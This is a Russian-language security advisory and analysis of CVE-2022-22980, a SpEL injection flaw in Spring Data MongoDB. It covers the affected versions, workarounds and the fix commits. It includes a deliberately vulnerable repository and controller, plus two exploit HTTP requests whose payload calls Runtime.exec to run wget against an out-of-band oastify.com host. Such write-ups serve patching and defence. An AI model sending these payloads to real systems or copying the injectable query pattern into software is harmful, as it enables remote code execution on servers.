
[CVE-2022-22980] Spring Data MongoDB SpEL инъекция выражений
[CVE-2022-22980] Внедрение SpEL-выражений в Spring Data MongoDB
MongoDB — это документо-ориентированная NoSQL-база данных, отличающаяся масштабируемостью и гибкостью и используемая для хранения больших объёмов данных. Вместо таблиц и строк, как в традиционных реляционных базах данных, MongoDB использует коллекции и документы. Документы состоят из пар «ключ-значение», которые являются базовой единицей данных в MongoDB.
Spring Data for MongoDB — часть зонтичного проекта Spring Data, который предназначен для предоставления знакомой и согласованной модели программирования на основе Spring для новых хранилищ данных с сохранением специфических для хранилища функций и возможностей. Проект Spring Data MongoDB обеспечивает интеграцию с документо-ориентированной базой данных MongoDB. Ключевыми функциональными областями Spring Data MongoDB являются модель, ориентированная на POJO, для взаимодействия с DBCollection MongoDB и простое создание репозитория в стиле уровня доступа к данным.
20 июня 2022 года VMware опубликовала на своём официальном сайте рекомендации по безопасности, касающиеся уязвимости внедрения SpEL-выражений (приводящей к удалённому выполнению кода), затрагивающей Spring Data MongoDB. Подробную информацию об уязвимости CVE-2022-22980 вы можете найти ниже.
Уязвимость
Приложение Spring Data MongoDB уязвимо к внедрению SpEL при использовании методов запросов, аннотированных @Query или , с SpEL-выражениями, содержащими заполнители параметров запроса для привязки значений, если входные данные не санитизируются. Кроме того, конфигурации, которые предоставляют методы репозитория без привлечения дополнительного кода приложения (например, Spring Data REST), также уязвимы.
В частности, приложение уязвимо, когда выполняются все следующие условия:
@Aggregation@Query или @Aggregation, использующими SpEL (Spring Expression Language), и ссылки на входные параметры (?0, ?1, …) применяются внутри SpEL-выраженияПриложение не уязвимо, если выполняется любое из следующих условий:
QueryMethodEvaluationContextProvider, который ограничивает использование SpELЗатронутые версии
Spring Data MongoDB 3.4.0, 3.3.0–3.3.4 и более старые версии подвержены уязвимости CVE-2022-22980 Spring Data MongoDB SpEL Expression Injection.
Статус
Выпущены Spring Data MongoDB 3.4.1 и 3.3.5, содержащие исправления.
Смягчение уязвимости и рекомендуемые обходные пути
Предпочтительное решение — обновление до Spring Data MongoDB 3.4.1 и 3.3.5 или новее. Если вы это сделали, дополнительные обходные пути не нужны. Однако некоторые могут оказаться в ситуации, когда быстрое обновление невозможно. По этой причине команда Spring предоставила несколько обходных путей ниже.
Использование синтаксиса массивов: если приложению требуются динамические SpEL-выражения, управляемые пользовательским вводом, перепишите объявления запросов или агрегаций, чтобы использовать ссылки на параметры ([0] вместо ?0) внутри выраженияРеализация пользовательского метода репозитория: замена SpEL-выражения реализацией пользовательского метода репозитория — жизнеспособный обходной путь для сборки динамического запроса в коде приложения. Дополнительные сведения см. в справочной документации по настройке репозиториев.Анализ исправления: проблема на GitHub и связанные коммиты
Проблема GitHub, связанная с уязвимостью внедрения SpEL, доступна по адресу github.com/spring-projects/spring-data-mongodb/issues/4089.
С помощью двух приведённых ниже коммитов соответствующая уязвимость была исправлена.
Вместе с этими коммитами был добавлен класс spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/EvaluationContextExpressionEvaluator.java.
class EvaluationContextExpressionEvaluator implements SpELExpressionEvaluator {
ValueProvider valueProvider;
ExpressionParser expressionParser;
Supplier<EvaluationContext> evaluationContext;
public EvaluationContextExpressionEvaluator(ValueProvider valueProvider, ExpressionParser expressionParser,
Supplier<EvaluationContext> evaluationContext) {
this.valueProvider = valueProvider;
this.expressionParser = expressionParser;
this.evaluationContext = evaluationContext;
}
@Nullable
@Override
public <T> T evaluate(String expression) {
return evaluateExpression(expression, Collections.emptyMap());
}
public EvaluationContext getEvaluationContext(String expressionString) {
return evaluationContext != null ? evaluationContext.get() : new StandardEvaluationContext();
}
public SpelExpression getParsedExpression(String expressionString) {
return (SpelExpression) (expressionParser != null ? expressionParser : new SpelExpressionParser())
.parseExpression(expressionString);
}
public <T> T evaluateExpression(String expressionString, Map<String, Object> variables) {
SpelExpression expression = getParsedExpression(expressionString);
EvaluationContext ctx = getEvaluationContext(expressionString);
variables.entrySet().forEach(entry -> ctx.setVariable(entry.getKey(), entry.getValue()));
Object result = expression.getValue(ctx, Object.class);
return (T) result;
}
}

Класс spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java также был изменён следующим образом:

Финальная (исправленная) версия класса spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java выглядит следующим образом:
package org.springframework.data.mongodb.util.json;
import java.util.Map;
import java.util.function.Function;
import java.util.function.Supplier;
import org.springframework.data.mapping.model.SpELExpressionEvaluator;
import org.springframework.data.spel.ExpressionDependencies;
import org.springframework.data.util.Lazy;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.lang.Nullable;
/**
* Reusable context for binding parameters to a placeholder or a SpEL expression within a JSON structure. <br />
* To be used along with {@link ParameterBindingDocumentCodec#decode(String, ParameterBindingContext)}.
*
* @author Christoph Strobl
* @author Mark Paluch
* @since 2.2
*/
public class ParameterBindingContext {
private final ValueProvider valueProvider;
private final SpELExpressionEvaluator expressionEvaluator;
/**
* @param valueProvider
* @param expressionParser
* @param evaluationContext
*/
public ParameterBindingContext(ValueProvider valueProvider, SpelExpressionParser expressionParser,
EvaluationContext evaluationContext) {
this(valueProvider, expressionParser, () -> evaluationContext);
}
/**
* @param valueProvider
* @param expressionParser
* @param evaluationContext a {@link Supplier} for {@link Lazy} context retrieval.
* @since 2.2.3
*/
public ParameterBindingContext(ValueProvider valueProvider, ExpressionParser expressionParser,
Supplier<EvaluationContext> evaluationContext) {
this(valueProvider, new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, evaluationContext));
}
/**
* @param valueProvider
* @param expressionEvaluator
* @since 3.1
*/
public ParameterBindingContext(ValueProvider valueProvider, SpELExpressionEvaluator expressionEvaluator) {
this.valueProvider = valueProvider;
this.expressionEvaluator = expressionEvaluator;
}
/**
* Create a new {@link ParameterBindingContext} that is capable of expression parsing and can provide a
* {@link EvaluationContext} based on {@link ExpressionDependencies}.
*
* @param valueProvider
* @param expressionParser
* @param contextFunction
* @return
* @since 3.1
*/
public static ParameterBindingContext forExpressions(ValueProvider valueProvider, ExpressionParser expressionParser,
Function<ExpressionDependencies, EvaluationContext> contextFunction) {
return new ParameterBindingContext(valueProvider,
new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, null) {
@Override
public EvaluationContext getEvaluationContext(String expressionString) {
Expression expression = getParsedExpression(expressionString);
ExpressionDependencies dependencies = ExpressionDependencies.discover(expression);
return contextFunction.apply(dependencies);
}
});
}
@Nullable
public Object bindableValueForIndex(int index) {
return valueProvider.getBindableValue(index);
}
@Nullable
public Object evaluateExpression(String expressionString) {
return expressionEvaluator.evaluate(expressionString);
}
@Nullable
public Object evaluateExpression(String expressionString, Map<String, Object> variables) {
if (expressionEvaluator instanceof EvaluationContextExpressionEvaluator) {
return ((EvaluationContextExpressionEvaluator) expressionEvaluator).evaluateExpression(expressionString,
variables);
}
return expressionEvaluator.evaluate(expressionString);
}
public ValueProvider getValueProvider() {
return valueProvider;
}
}
Благодаря переработке класса ParameterBindingJsonReader.java также гарантируется сохранение типа параметра при привязке параметров, используемых в значении аннотации Query или Aggregation. Изменения коммитов можно увидеть на скриншотах ниже для класса ParameterBindingJsonReader.java:



Шаги эксплуатации
Прежде чем объяснять шаги эксплуатации, показан класс UserRepository.java примера уязвимого проекта (с использованием аннотации @Query):
package com.example.mongodb.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import com.example.mongodb.model.User;
import org.springframework.data.mongodb.repository.Query;
public interface UserRepository extends MongoRepository<User, String> {
@Query("{ 'userName' : ?#{?0}}")
public User findByUserNameLike(String userName);
}
Пример класса контроллера UserController.java, который импортирует пространство имён com.example.mongodb.repository.UserRepository, также показан ниже:
package com.example.mongodb.controller;
import com.example.mongodb.model.User;
import com.example.mongodb.repository.UserRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.http.HttpStatus;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
@RestController
@RequestMapping("/v1/user")
public class UserController {
@Autowired
private UserRepository userRepository;
@ResponseStatus(HttpStatus.CREATED)
@PostMapping(consumes = MediaType.APPLICATION_JSON_VALUE)
public User createUser(@RequestBody User user) {
return userRepository.save(user);
}
@PostMapping(value="/get")
public User readUserById(@RequestParam("keyword") String id) throws UnsupportedEncodingException {
return userRepository.findByUserNameLike(URLDecoder.decode(id, "utf-8"));
}
Запрос и ответ эксплуатации
POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
keyword=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('wget+98fj4ailoo81u7rkveuwur8hf8l09p.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:21:20 GMT
Connection: close
Content-Length: 112
{
"timestamp": "2022-06-22T14:21:20.604+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/v1/user/get"
}

POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
keyword=T(java.lang.Runtime).getRuntime().exec('wget+og8ycpq0w3gg2mzz3t2b26gwnntgh5.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:36:10 GMT
Connection: close
Content-Length: 112
{
"timestamp": "2022-06-22T14:36:10.827+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/v1/user/get"
}

Для получения дополнительной информации об устранении этой уязвимости посетите следующие ресурсы:
Благодарности: